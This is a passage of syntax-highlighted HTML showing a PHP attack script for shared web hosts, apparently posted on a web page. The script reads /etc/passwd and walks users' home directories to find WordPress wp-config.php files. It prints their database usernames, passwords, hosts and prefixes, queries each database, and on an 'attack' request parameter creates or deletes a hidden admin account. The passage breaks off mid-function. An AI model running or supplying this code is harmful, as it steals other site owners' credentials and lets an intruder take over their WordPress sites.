<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/wordpress&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$files</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;wp-config.php&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Checking for &#8230;.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">if</span><span class="br0">&#40;</span>!<a href="http://www.php.net/is_readable"><span class="kw3">is_readable</span></a><span class="br0">&#40;</span><span class="st0">&quot;/etc/passwd&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &nbsp; &nbsp;<a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;err0r: can&#8217;t read /etc/passwd (safe mode?)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$_f</span> = @<a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="st0">&quot;/etc/passwd&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$_f</span> <span class="kw1">as</span> <span class="re0">$usr</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$usr</span> = <a href="http://www.php.net/explode"><span class="kw3">explode</span></a><span class="br0">&#40;</span><span class="st0">&quot;:&quot;</span>, <span class="re0">$usr</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$uid</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$home</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$usr</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$uid</span> &gt;= <span class="nu0">1000</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$usr</span>.<span class="st0">&quot; (uid:&quot;</span>.<span class="re0">$uid</span>.<span class="st0">&quot;): &quot;</span>.<span class="re0">$home</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$paths</span> <span class="kw1">as</span> <span class="re0">$path</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span>Searching in &quot;</span>.<span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$files</span> <span class="kw1">as</span> <span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span>Found: &quot;</span>.<span class="re0">$file</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$__f</span> = @<a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$file</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$__f</span> <span class="kw1">as</span> <span class="re0">$line</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_USER&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_USER&#8217;, &quot;</span>,<span class="st0">&quot;usr=&gt;&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_PASSWORD&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output2</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_PASSWORD&#8217;, &quot;</span>, <span class="st0">&quot;pwd=&gt;&quot;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_NAME&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output3</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_NAME&#8217;, &quot;</span>, <span class="st0">&quot;db=&gt;&quot;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_HOST&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output4</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_HOST&#8217;, &quot;</span>, <span class="st0">&quot;host=&gt;&quot;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;<span class="es0">\$</span>table_prefix&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\$</span>table_prefix(.*);/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output5</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>prefix&quot;</span>.<span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>URL: &quot;</span>.getURL<span class="br0">&#40;</span><span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;attack&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;create_user&quot;</span><span class="br0">&#41;</span> <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>User/pass created: &quot;</span>.UserAdmin<span class="br0">&#40;</span><span class="st0">&quot;create&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;attack&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;delete_user&quot;</span><span class="br0">&#41;</span> <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>fakeadmin deleted: &quot;</span>.UserAdmin<span class="br0">&#40;</span><span class="st0">&quot;delete&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> getURL<span class="br0">&#40;</span><span class="re0">$user</span>, <span class="re0">$pass</span>, <span class="re0">$db</span>, <span class="re0">$host</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$user</span>, <span class="re0">$user</span><span class="br0">&#41;</span>; <span class="re0">$user</span> = <span class="re0">$user</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$pass</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>; <span class="re0">$pass</span> = <span class="re0">$pass</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$db</span>, <span class="re0">$db</span><span class="br0">&#41;</span>; <span class="re0">$db</span> = <span class="re0">$db</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$host</span>, <span class="re0">$host</span><span class="br0">&#41;</span>; <span class="re0">$host</span> = <span class="re0">$host</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$prefix</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span>; <span class="re0">$prefix</span> = <span class="re0">$prefix</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$sql</span> = @<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$user</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$_q</span> = @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT option_value FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;options WHERE option_name=&#8217;siteurl&#8217;&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> @<a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span><span class="re0">$_q</span>, <span class="nu0">0</span>, <span class="st0">&#8216;option_value&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> UserAdmin<span class="br0">&#40;</span><span class="re0">$action</span>, <span class="re0">$user</span>, <span class="re0">$pass</span>, <span class="re0">$db</span>, <span class="re0">$host</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$user</span>, <span class="re0">$user</span><span class="br0">&#41;</span>; <span class="re0">$user</span> = <span class="re0">$user</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$pass</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>; <span class="re0">$pass</span> = <span class="re0">$pass</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$db</span>, <span class="re0">$db</span><span class="br0">&#41;</span>; <span class="re0">$db</span> = <span class="re0">$db</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/, <span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$host</span>, <span class="re0">$host</span><span class="br0">&#41;</span>; <span class="re0">$host</span> = <span class="re0">$host</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\&#8217;</span>(.*)<span class="es0">\&#8217;</span>/&#8217;</span>, <span class="re0">$prefix</span>, <span class="re0">$prefix</span><span class="br0">&#41;</span>; <span class="re0">$prefix</span> = <span class="re0">$prefix</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$sql</span> = @<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$user</span>, <span class="re0">$pass</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$action</span> == <span class="st0">&quot;create&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$wp_uid</span> = <a href="http://www.php.net/rand"><span class="kw3">rand</span></a><span class="br0">&#40;</span><span class="nu0">9990</span>,<span class="nu0">99999</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
